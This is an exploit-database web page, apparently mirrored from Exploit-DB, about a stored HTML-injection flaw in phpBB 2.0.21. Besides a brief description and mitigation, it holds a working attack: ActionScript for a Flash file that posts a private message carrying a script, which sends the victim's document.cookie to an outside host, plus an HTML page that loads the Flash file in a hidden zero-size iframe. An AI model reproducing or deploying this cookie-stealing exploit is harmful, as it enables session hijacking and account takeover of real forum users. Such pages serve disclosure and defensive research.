Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the wp-pagenavi domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/u918112125/domains/exploit.company/public_html/wp-includes/functions.php on line 6114
HTML-injection vulnerability in phpBB - exploit.company
header-logo
Suggest Exploit
vendor:
phpBB
by:
7.5
CVSS
HIGH
HTML-injection
79
CWE
Product Name: phpBB
Affected Version From: 2.0.21
Affected Version To:
Patch Exists: NO
Related CWE:
CPE: a:phpbb_group:phpbb:2.0.21
Metasploit:
Other Scripts:
Platforms Tested:

HTML-injection vulnerability in phpBB

phpBB is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content. Attacker-supplied HTML and script code would execute in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize all user-supplied input and enforce strict input validation to prevent any unauthorized code execution.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/22001/info

phpBB is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would execute in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible. 

Version 2.0.21 is vulnerable; other versions may also be affected.

Create a Shockwave Flash file with this code:

var username:String = "user_that_doesnt_exist";
var subject:String = "Xss Exploitation";
var message:String = "&lt;/textarea&gt;<script>document.location= 'http://site.com/cookie.php?c=' + document.cookie </script>";
var folder:String = "inbox";
var mode:String = "post";
var post:String = "Submit";
getURL("http://www.example.com/phpBB2/privmsg.php", "_self", "POST");

Put it into a web page:

<html>
<head>
<title>Put a title here</title>
</head>
<body>
<p>Put some text here<p>
<iframe src="http://www.example.com/exploit.swf" frameborder="0" height="0" width="0"></iframe>
</body>
</html>